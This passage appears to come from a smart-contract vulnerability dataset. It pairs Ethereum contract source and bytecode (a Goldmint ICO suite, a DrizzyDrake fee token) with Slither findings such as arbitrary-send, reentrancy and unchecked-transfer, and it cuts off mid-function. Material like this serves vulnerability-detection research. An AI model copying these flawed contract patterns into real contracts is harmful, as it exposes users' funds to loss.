16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600060026004602082020160ff166000369050101561232457600080fd5b33600260149054906101000a900460ff16156123e257600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061319e6022913960400191505060405180910390fd5b612485565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612484576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131c06026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61257a84600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461311590919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b838390508110156129df5760008484838181106127fb57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050831515811515146129d057831561292c576001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996001604051808215151515815260200191505060405180910390a26129cf565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996000604051808215151515815260200191505060405180910390a25b5b505080806001019150506127e2565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f75206d7573742062652064656c65676174652e000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e00576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c6964206e6577206f776e657220616464726573732e00000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612faa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e76616c6964206e6577206d696e74657220616464726573732e000000000081525060200191505060405180910390fd5b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f02ad39e5173f89bdd5497202bd74024b5da045106c3163ddb078d2e89ff6d6de60405160405180910390a35050565b60008282111561310a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4e656761746976652075696e74323536206973206e6f7720616c6c6f7765642e81525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015613193576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416464696e672075696e74323536206f766572666c6f772e000000000000000081525060200191505060405180910390fd5b809150509291505056fe536f75726365206164647265737320697320696e20626c6f636b2066696c7465722e536f757263652061646472657373206d75737420626520696e20706173732066696c7465722e596f75206d75737420626520656974686572206f776e6572206f72206d696e7465722ea165627a7a723058202c1b670e3c1b34507e36ebf5648516e0542a81f750d703851ec996ece84998680029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,691 |
0x3d4b07793957e97bee7cf8d978b35445b871d480 | pragma solidity ^0.4.4;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token is SafeMath {
// Functions:
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
function transfer(address _to, uint256 _value) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value){}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
// Functions:
function transfer(address _to, uint256 _value) {
if((balances[msg.sender] < _value) || (balances[_to] + _value <= balances[_to])) {
throw;
}
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) {
if((balances[_from] < _value) ||
(allowed[_from][msg.sender] < _value) ||
(balances[_to] + _value <= balances[_to]))
{
throw;
}
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
if(msg.data.length < _size + 4) {
throw;
}
_;
}
}
contract MNTP is StdToken {
/// Fields:
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
// 10 mln
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * (1 ether / 1 wei);
/// Modifiers:
modifier onlyCreator() { if(msg.sender != creator) throw; _; }
modifier byCreatorOrIcoContract() { if((msg.sender != creator) && (msg.sender != icoContractAddress)) throw; _; }
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
/// Functions:
/// @dev Constructor
function MNTP() {
creator = msg.sender;
// 10 mln tokens total
assert(TOTAL_TOKEN_SUPPLY == (10000000 * (1 ether / 1 wei)));
}
/// @dev Override
function transfer(address _to, uint256 _value) public {
if(lockTransfers){
throw;
}
super.transfer(_to,_value);
}
/// @dev Override
function transferFrom(address _from, address _to, uint256 _value)public{
if(lockTransfers){
throw;
}
super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byCreatorOrIcoContract {
if((totalSupply + _tokens) > TOTAL_TOKEN_SUPPLY){
throw;
}
balances[_who] += _tokens;
totalSupply += _tokens;
}
function burnTokens(address _who, uint _tokens) byCreatorOrIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byCreatorOrIcoContract {
lockTransfers = _lock;
}
// Do not allow to send money directly to this contract
function() {
throw;
}
}
// This contract will hold all tokens that were unsold during ICO
// (Goldmint should be able to withdraw them and sold only 1 year post-ICO)
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) {
if(msg.sender!=creator){
throw;
}
icoContractAddress = _icoContractAddress;
}
function icoIsFinished() public {
// only by Goldmint contract
if(msg.sender!=icoContractAddress){
throw;
}
icoIsFinishedDate = uint64(now);
}
// can be called by anyone...
function withdrawTokens() public {
// wait for 1 year!
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
if(uint(now) < oneYearPassed) throw;
// transfer all tokens from this contract to the teamAccountAddress
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
// Default fallback function
function() payable {
throw;
}
}
contract FoundersVesting is SafeMath {
address public creator;
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
}
// can be called by anyone...
function withdrawTokens() public {
// 1 - wait for next month!
uint64 oneMonth = lastWithdrawTime + 30 days;
if(uint(now) < oneMonth) throw;
// 2 - calculate amount (only first time)
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
// 3 - send 1/10th
assert(amountToSend!=0);
mntToken.transfer(teamAccountAddress,amountToSend);
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
// Default fallback function
function() payable {
throw;
}
}
contract Goldmint is SafeMath {
address public creator = 0x0;
address public tokenManager = 0x0;
address public multisigAddress = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
// These can be changed before ICO start ($7USD/MNTP)
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
// coinmarketcap.com 14.08.2017
uint constant ETH_PRICE_IN_USD = 300;
// price changes from block to block
//uint public constant SINGLE_BLOCK_LEN = 700000;
uint public constant SINGLE_BLOCK_LEN = 100;
///////
// 1 000 000 tokens
uint public constant BONUS_REWARD = 1000000 * (1 ether/ 1 wei);
// 2 000 000 tokens
uint public constant FOUNDERS_REWARD = 2000000 * (1 ether / 1 wei);
// 7 000 000 we sell only this amount of tokens during the ICO
//uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * (1 ether / 1 wei);
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 250 * (1 ether / 1 wei);
// this is total number of tokens sold during ICO
uint public icoTokensSold = 0;
// this is total number of tokens sent to GoldmintUnsold contract after ICO is finished
uint public icoTokensUnsold = 0;
// this is total number of tokens that were issued by a scripts
uint public issuedExternallyTokens = 0;
bool public foundersRewardsMinted = false;
bool public restTokensMoved = false;
// this is where FOUNDERS_REWARD will be allocated
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
ICOFinished
}
State public currentState = State.Init;
/// Modifiers:
modifier onlyCreator() { if(msg.sender != creator) throw; _; }
modifier onlyTokenManager() { if(msg.sender != tokenManager) throw; _; }
modifier onlyOtherCurrenciesChecker() { if(msg.sender != otherCurrenciesChecker) throw; _; }
modifier onlyInState(State state){ if(state != currentState) throw; _; }
/// Events:
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
/// Functions:
/// @dev Constructor
function Goldmint(
address _multisigAddress,
address _tokenManager,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
multisigAddress = _multisigAddress;
tokenManager = _tokenManager;
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
// slight rename
foundersRewardsAccount = _foundersVestingAddress;
}
/// @dev This function is automatically called when ICO is started
/// WARNING: can be called multiple times!
function startICO() internal onlyCreator {
mintFoundersRewards(foundersRewardsAccount);
mntToken.lockTransfer(true);
if(icoStartedTime==0){
icoStartedTime = uint64(now);
}
}
function pauseICO() internal onlyCreator {
mntToken.lockTransfer(false);
}
/// @dev This function is automatically called when ICO is finished
/// WARNING: can be called multiple times!
function finishICO() internal {
mntToken.lockTransfer(false);
if(!restTokensMoved){
restTokensMoved = true;
// move all unsold tokens to unsoldTokens contract
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.icoIsFinished();
}
}
// send all ETH to multisig
if(this.balance>0){
if(!multisigAddress.send(this.balance)) throw;
}
}
function mintFoundersRewards(address _whereToMint) internal onlyCreator {
if(!foundersRewardsMinted){
foundersRewardsMinted = true;
mntToken.issueTokens(_whereToMint,FOUNDERS_REWARD);
}
}
/// Access methods:
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
function setOtherCurrenciesChecker(address _new) public onlyOtherCurrenciesChecker {
otherCurrenciesChecker = _new;
}
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
////
function isIcoFinished() public returns(bool){
if(icoStartedTime==0){return false;}
// 1 - if time elapsed
uint64 oneMonth = icoStartedTime + 30 days;
if(uint(now) > oneMonth){return true;}
// 2 - if all tokens are sold
if(icoTokensSold>=ICO_TOKEN_SUPPLY_LIMIT){
return true;
}
return false;
}
function setState(State _nextState) public {
// only creator can change state
// but in case ICOFinished -> anyone can do that after all time is elapsed
bool icoShouldBeFinished = isIcoFinished();
if((msg.sender!=creator) && !(icoShouldBeFinished && State.ICOFinished==_nextState)){
throw;
}
bool canSwitchState
= (currentState == State.Init && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOPaused)
|| (currentState == State.ICOPaused && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOFinished)
|| (currentState == State.ICOFinished && _nextState == State.ICORunning);
if(!canSwitchState) throw;
currentState = _nextState;
LogStateSwitch(_nextState);
if(currentState==State.ICORunning){
startICO();
}else if(currentState==State.ICOFinished){
finishICO();
}else if(currentState==State.ICOPaused){
pauseICO();
}
}
function getMntTokensPerEth(uint tokensSold) public constant returns (uint){
// 10 buckets
uint priceIndex = (tokensSold / (1 ether/ 1 wei)) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
// We have to multiply by '1 ether' to avoid float truncations
// Example: ($7000 * 100) / 120 = $5833.33333
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * (1 ether / 1 wei)) / (100 + discountPercents[priceIndex]);
// Correct: 300000 / 5833.33333333 = 51.42857142
// We have to multiply by '1 ether' to avoid float truncations
uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * (1 ether / 1 wei) * (1 ether / 1 wei)) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
if(msg.value == 0) throw;
// The price is selected based on current sold tokens.
// Price can 'overlap'. For example:
// 1. if currently we sold 699950 tokens (the price is 10% discount)
// 2. buyer buys 1000 tokens
// 3. the price of all 1000 tokens would be with 10% discount!!!
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_buyer,newTokens);
}
/// @dev This is called by other currency processors to issue new tokens
function issueTokensFromOtherCurrency(address _to, uint _wei_count) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
if(_wei_count== 0) throw;
uint newTokens = (_wei_count * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_to,newTokens);
}
/// @dev This can be called to manually issue new tokens
/// from the bonus reward
function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
// can not issue more than BONUS_REWARD
if((issuedExternallyTokens + _tokens)>BONUS_REWARD){
throw;
}
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
if((icoTokensSold + _tokens)>ICO_TOKEN_SUPPLY_LIMIT){
throw;
}
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
function burnTokens(address _from, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
mntToken.burnTokens(_from,_tokens);
LogBurn(_from,_tokens);
}
// Default fallback function
function() payable {
// buyTokens -> issueTokensInternal
buyTokens(msg.sender);
}
} | 0x60606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f1461008957806342c62865146100de5780637f0554ca146101075780638d8f2adb1461015c578063ab23151114610171578063ae277584146101ae578063e2f35f17146101d7575b5b600080fd5b005b341561009457600080fd5b61009c61022c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156100e957600080fd5b6100f1610251565b6040518082815260200191505060405180910390f35b341561011257600080fd5b61011a610257565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561016757600080fd5b61016f61027d565b005b341561017c57600080fd5b6101846104fc565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34156101b957600080fd5b6101c1610516565b6040518082815260200191505060405180910390f35b34156101e257600080fd5b6101ea61051c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600062278d00600160149054906101000a900467ffffffffffffffff160190508067ffffffffffffffff164210156102b457600080fd5b600060025414156103b257600a600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561038657600080fd5b6102c65a03f1151561039757600080fd5b505050604051805190508115156103aa57fe5b046003819055505b6103c160006003541415610542565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156104a957600080fd5b6102c65a03f115156104ba57600080fd5b50505060026000815480929190600101919050555042600160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b50565b600160149054906101000a900467ffffffffffffffff1681565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80151561054e57600080fd5b5b505600a165627a7a723058207772c45bbea06e118c0a549c09c6996bd35bfc2e12248425bbbd0697f85ed66a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,692 |
0x4B9DB4cC7a00202a8AD801933067e186d542E842 | /**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract DrizzyDrake is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"DrizzyDrake";
string private constant _symbol = "DRIZZY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
